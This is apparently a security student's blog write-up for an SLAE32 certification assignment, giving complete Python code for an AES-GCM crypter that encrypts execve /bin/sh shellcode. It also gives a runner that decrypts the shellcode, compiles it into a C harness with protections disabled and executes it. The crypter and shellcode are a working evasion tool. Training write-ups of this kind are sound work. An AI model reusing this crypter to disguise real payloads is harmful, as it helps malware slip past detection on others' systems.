SLAE32 Assignment 7 – Creating a custom crypter

Nota: el contenido de esta entrada estará escrito en inglés con el objetivo de cumplir los requerimientos del examen para la obtención del certificado SLAE32 de Pentester Academy.

Note: content of this post will be written in English in order to be compliant and pass the SLAE32 certification exam brought by Pentester Academy.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online.courses/securitytube-linux-assembly-expert/.

Student ID: PA-26078

GitHub repository: https://github.com/tdkmp4n4/SLAE32_Exam/tree/main/Assignment7

Assignment tasks

The following tasks were given to the student:

  • Create a custom crypter like the one shown in the “crypters” video
  • Free to use any existing encryption schema
  • Can use any programming language

Encryption and decryption algorithm

According to the assignment tasks, any encryption schema as well as any programming language can be used. For this task, the student has chosen AES encryption algorithm in GCM mode and Python as the programming language. I am not going to cover in detail AES nor GCM, but two links are provided in case any reader would like to extend this task.

Moreover, Python has some interesting libraries integrated. One of them is “pycryptodome”, which can be installed issuing the following command in Ubuntu.

pip install pycryptodome

That library is mandatory for developed scripts to work properly. Therefore, it must be installed on the testing virtual machine (in our case, an Ubuntu 12.04). Furthermore, that library abstracts the developer for performing AES encryption operations and it provides crypting and decrypting functions that can be used to simplify the necessary code.

Encryption routine

The following code snippet shows the encryption routine. Note that code is well-comented in order to have a better understanding of it. Moreover, code receives the following variables:

  • Original shellcode: shellcode that will be encrypted, decrypted and executed
  • AES key: 16-byte key used to encrypt and decrypt the shellcode

Finally, encryption routine will display three variables as the output:

  • Encrypted shellcode: shellcode encrypted using AES-GCM algorithm that must be passed to the decryption routine
  • AES key: 16-byte key used to encrypt and decrypt the shellcode
  • Nonce: chunk of bytes which are mandatory to decrypt the shellcode (hexadecimal format)
#!/usr/bin/python
# -*- coding: utf-8 -*-

# Filename: Crypter.py
# Author: David Alvarez Robles (km0xu95)
# Website: https://blog.asturhackers.es

# Purpose: This assembly file has been created for completing the requirements
# of the SecurityTube Linux Assembly Expert (SLAE) certification

# Libraries import
from Crypto.Cipher import AES
import binascii

# Original shellcode to be encrypted
shellcode = '\xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43'

# Log message
print "\n[+] Crypting original shellcode with AES algorithm"

# AES encryption key definition (16 bytes)
key = b'PoCPoCPoCPoCPoC!'
# AES encryption algorithm initialization (using key and GCM mode)
cipher = AES.new(key, AES.MODE_GCM)
# Nonce storage
nonce = cipher.nonce
# Shellcode encryption and digest
ciphertext, tag = cipher.encrypt_and_digest(shellcode)

# Ciphered text conversion to bytearray
ciphertext = bytearray(ciphertext)
# Ciphered text conversion to hexadecimal
output = ""
for byte in ciphertext:
        output  += "\\x" + hex(byte).split("0x")[1]

# Nonce conversion to bytearray
nonce = bytearray(nonce)
# Nonce conversion to hexadecimal
output2 = ""
for byte in nonce:
        output2  += "\\x" + hex(byte).split("0x")[1]

# Print output (ciphered text), key and nonce for decryption
print "\n[*] Encrypted shellcode: " + output
print "\n[*] AES key for decryption: " + key
print "\n[*] AES nonce for decryption: " + output2

The crypter will be tested using “execve-stack” shellcode, which will execute a “/bin/sh” prompt on the target. Original “execve-stack” shellcode is the following:

\xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43

Encryption and decryption 16-byte key used for AES-GCM mode is:

PoCPoCPoCPoCPoC!

Finally, encryption script can be launched in order to obtain encrypted shellcode, key and nonce. An example is shown below (note that encrypted shellcode can vary from execution to execution as the nonce is not static).

Decryption routine

The following code snippet shows the decryption routine. Note that code is well-comented in order to have a better understanding of it. Moreover, code receives the following variables:

  • Encrypted shellcode: encrypted shellcode that will be decrypted and executed
  • AES key: 16-byte key used to encrypt and decrypt the shellcode
  • Nonce: chunk of bytes which are mandatory to decrypt the shellcode (hexadecimal format)

Finally, encryption routine will perform the decryption operations and execute the original shellcode. In this case, original shellcode was “execve-stack” that spawns a “/bin/sh” shell.

#!/usr/bin/python
# -*- coding: utf-8 -*-

# Filename: Runner.py
# Author: David Alvarez Robles (km0xu95)
# Website: https://blog.asturhackers.es

# Purpose: This assembly file has been created for completing the requirements
# of the SecurityTube Linux Assembly Expert (SLAE) certification

# Libraries import
from Crypto.Cipher import AES
import os
import time

# Encrypted shellcode from encryption routine. Do always include a raw string
encrypted_shellcode = r'\xbb\x64\x50\x16\x2a\xf9\x36\x41\x47\x18\xdc\x2c\xdf\x5d\xd3\xed\x84\x51\x8b\xbd\xeb\x53\xc0\xd1\x63\xa2\xff\x97\x6e\xaf\xac\x96\x83\x47\xe5\x56\x70\x4\x4d\xc6\x86\xc5\x2b\xe\x8f\x26\x4a\x30\x4c'
# Encrypted shellcode conversion to bytearray from hexadecimal
bytes = encrypted_shellcode.split("\\x")[1:]
values = []
for byte in bytes:
        values.append(int(byte,16))
bytes = bytearray(values)

# Nonce from encryption routine. Do always include a raw string
nonce = r'\x90\x20\x5a\x75\x3c\x19\xcf\x46\xf9\x66\xf0\xd\x47\x2f\x5b\x74'
# Nonce conversion to bytearray from hexadecimal
bytes2 = nonce.split("\\x")[1:]
values = []
for byte in bytes2:
        values.append(int(byte,16))
bytes2 = bytearray(values)

# Key definition used to encrypt the shellcode (16 bytes)
key = b'PoCPoCPoCPoCPoC!'
# AES encryption algorithm initialization (using key and GCM mode)
cipher = AES.new(key, AES.MODE_GCM, nonce=bytes2)

# Shellcode decryption
plaintext = cipher.decrypt(bytes)

# Shellcode conversion to bytearray
plaintext = bytearray(plaintext)
# Shellcode conversion to hexadecimal
output = ""
for byte in plaintext:
        output  += "\\x" + hex(byte).split("0x")[1]
plaintext = output

# C proof-of-concept file creation (shellcode.c) including decrypted shellcode
cfile = open("shellcode.c", "w")
cfile.write("""#include<stdio.h>
#include<string.h>

unsigned char code[] = \\
\"""")
cfile.close()
cfile = open("shellcode.c", "a")
cfile.write(plaintext)
cfile.write("""";

main()
{

        printf(\"Shellcode Length:  %d\\n\", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}""")
cfile.close()

# Log messages
print "[+] Shellcode recovered from encrypted one"
print "[*] Executing shellcode in 2 seconds..."
time.sleep(2)

# C proof-of-concept file compilation using GCC
os.system("gcc -fno-stack-protector -zexecstack shellcode.c -o shellcode")
# C proof-of-concept execution (shellcode execution)
os.system("./shellcode")

Note that encrypted shellcode and nonce must be passed as a raw string. Finally, a C proof-of-concept file (shellcode.c) is written into disk in order to execute original shellcode. However, custom Python libraries can be also used to perform this task. The following encrypted shellcode was included into decryption routine:

\xa5\x44\x38\xf\xea\x31\xc6\x28\x2e\x27\x56\x31\x87\xe7\xb1\xf4\x50\x93\x6\x81\x88\x20\xff\x65\xea\xaa\x8c\xee\x6c\x23\xa1\x16\x7\xd5\xf0\x2e\x39\x92\x3a\x96\xfb\x95\x7e\x56\x71\x76\x66\xc4\x96

Moreover, the following 16-byte key was specified for decryption:

PoCPoCPoCPoCPoC!

As the third argument, the following nonce is passed to decryption algorithm:

\x49\xf1\x5f\xc0\xb9\x5d\xe6\xfa\x3f\x53\x15\xff\xa4\x86\x91\xc9

Finally, decryption routine can be executed and original shellcode must be run. The following screenshot shows that both encryption and decryption routines work properly.

Conclusion

A custom crypter was developed in order to accomplish this task. In spite of being a simple crypter using Python, a functional proof-of-concept was developed and tested. The following steps would be to extrapolate this crypter in order to encrypt binaries such as ELF or EXE.

~km0xu95